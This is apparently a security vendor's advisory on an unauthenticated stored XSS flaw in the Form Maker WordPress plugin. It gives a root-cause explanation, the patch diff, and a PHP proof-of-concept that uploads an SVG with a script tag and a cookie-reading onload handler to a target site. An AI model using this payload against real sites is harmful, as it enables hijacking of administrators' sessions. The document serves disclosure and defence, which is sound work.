Atomic Edge analysis of CVE-2026-1065:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Form Maker by 10Web WordPress plugin. The vulnerability exists in the plugin’s file upload functionality, allowing attackers to upload malicious SVG files containing JavaScript. The uploaded files are stored on the server and execute when viewed by administrators or site visitors, leading to a high-severity impact with a CVSS score of 7.2.
The root cause is a combination of two issues in the plugin’s file upload handling. First, the plugin’s default allowlist includes SVG files. Second, the validation logic in `/form-maker/frontend/models/form_maker.php` around line 1852 uses weak substring-based extension checking rather than proper MIME type validation. This allows an attacker to upload an SVG file with embedded JavaScript. The vulnerability manifests when the uploaded file content is later output without proper escaping in the admin interface, specifically in `/form-maker/admin/views/Submissions_fm.php` at lines 759 and 768 where `$element_value` and `$textdata[‘text’]` are echoed directly.
Exploitation requires an attacker to submit a form containing a file upload field. The attacker crafts a malicious SVG file with JavaScript payloads within “ tags or event handlers (e.g., `onload`). They then submit this file via a form submission POST request to the plugin’s frontend handler. The plugin accepts the file due to the weak validation. The stored file path is later rendered in the WordPress admin panel under the Submissions page without output escaping, causing the JavaScript to execute in the victim’s browser context.
The patch addresses the issue in two locations. In `/form-maker/frontend/models/form_maker.php`, the developers added a MIME type check using `mime_content_type($fileTemp)` before moving the uploaded file. If the MIME type equals `’image/svg+xml’`, the upload is rejected. This prevents SVG files from being saved. In `/form-maker/admin/views/Submissions_fm.php`, the developers added `esc_html()` calls to sanitize the output of `$element_value` and `$textdata[‘text’]` on lines 759 and 768. This provides a secondary defense layer by ensuring any malicious content that might bypass the upload filter is neutralized during display.
Successful exploitation leads to stored XSS attacks. An attacker can inject arbitrary JavaScript that executes in the context of a logged-in administrator viewing form submissions. This can result in session hijacking, site defacement, privilege escalation, or the creation of new administrative accounts. Since the attack is unauthenticated and the payload is stored, it can affect multiple victims over time, amplifying the impact.
--- a/form-maker/admin/views/Submissions_fm.php
+++ b/form-maker/admin/views/Submissions_fm.php
@@ -756,7 +756,7 @@
<?php
}
elseif ( $sorted_label_types[$h] == 'type_hidden' ) {
- echo html_entity_decode($element_value);
+ echo esc_html(html_entity_decode($element_value));
}
else {
/* Check for Stripe case */
@@ -765,7 +765,7 @@
<button class="wd-button button-primary" onclick="change_stripe_status(this); return false;"><?php _e('Capture', WDFMInstance(self::PLUGIN)->prefix); ?></button><img src="<?php echo WDFM()->plugin_url ?>/images/loading.gif" class="fm-capture-loading fm-hidden">
<?php
} else { ?>
- <p><?php echo $textdata['text']; ?></p>
+ <p><?php echo esc_html($textdata['text']); ?></p>
<?php
}
}
--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
* Plugin Name: Form Maker
* Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
* Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.35
+ * Version: 1.15.36
* Author: 10Web Form Builder Team
* Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
* License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
public $plugin_url = '';
public $front_urls = array();
public $main_file = '';
- public $plugin_version = '1.15.35';
- public $db_version = '2.15.35';
+ public $plugin_version = '1.15.36';
+ public $db_version = '2.15.36';
public $menu_postfix = '_fm';
public $plugin_postfix = '';
public $handle_prefix = 'fm';
--- a/form-maker/frontend/models/form_maker.php
+++ b/form-maker/frontend/models/form_maker.php
@@ -1852,10 +1852,11 @@
);
}
if ( $form->save_uploads == 1 ) {
- if ( !move_uploaded_file( $fileTemp, $upload_dir[ 'basedir' ] . '/' . $destination . '/' . $fileName ) ) {
- $this->run_stripe_cancel_hook( $form, $stripeToken, $id );
- return array( 'error' => true, 'group_id' => $group_id, 'message' => addslashes( __( 'Error, file cannot be moved.', WDFMInstance(self::PLUGIN)->prefix ) ) );
- }
+ $file_mime = mime_content_type($fileTemp);
+ if ( $file_mime === 'image/svg+xml' || !move_uploaded_file( $fileTemp, $upload_dir[ 'basedir' ] . '/' . $destination . '/' . $fileName ) ) {
+ $this->run_stripe_cancel_hook( $form, $stripeToken, $id );
+ return array( 'error' => true, 'group_id' => $group_id, 'message' => addslashes( __( 'Error, file cannot be moved.', WDFMInstance(self::PLUGIN)->prefix ) ) );
+ }
$value .= $upload_dir[ 'baseurl' ] . '/' . $destination . '/' . $fileName . '*@@url@@*';
$files[ 'tmp_name' ][ $file_key ] = '/' . $destination . '/' . $fileName;
$temp_file = array(
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1065 - Form Maker by 10Web <= 1.15.35 - Unauthenticated Stored Cross-Site Scripting via SVG file
<?php
$target_url = 'http://vulnerable-site.com/'; // CHANGE THIS
// Step 1: Identify a form with a file upload field created by Form Maker plugin.
// This PoC assumes the form ID is known (e.g., 1).
$form_id = 1;
// Step 2: Craft a malicious SVG file with JavaScript payload.
$svg_payload = '<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" onload="alert(document.cookie)">
<rect width="100" height="100" fill="red"/>
<script>alert("XSS via Form Maker SVG Upload");</script>
</svg>';
// Step 3: Create a temporary file for the payload.
$temp_file = tempnam(sys_get_temp_dir(), 'svg');
file_put_contents($temp_file, $svg_payload);
// Step 4: Prepare the multipart form data for the submission.
// The plugin expects a POST to the frontend AJAX handler or form submission endpoint.
// The exact endpoint depends on form configuration. This example uses a generic frontend submission.
$post_url = $target_url . '?form_id=' . $form_id . '&action=formmaker_submit';
$post_fields = array(
'form_id' => $form_id,
// Other required form fields would go here, depending on the target form structure.
'field_label_for_file_upload' => new CURLFile($temp_file, 'image/svg+xml', 'exploit.svg')
);
// Step 5: Send the exploit request.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 6: Clean up temp file.
unlink($temp_file);
// Step 7: Output result.
echo "HTTP Response Code: " . $http_code . "n";
echo "Response: " . $response . "n";
echo "If successful, the SVG file is uploaded. An admin viewing submissions will trigger the XSS.n";
?>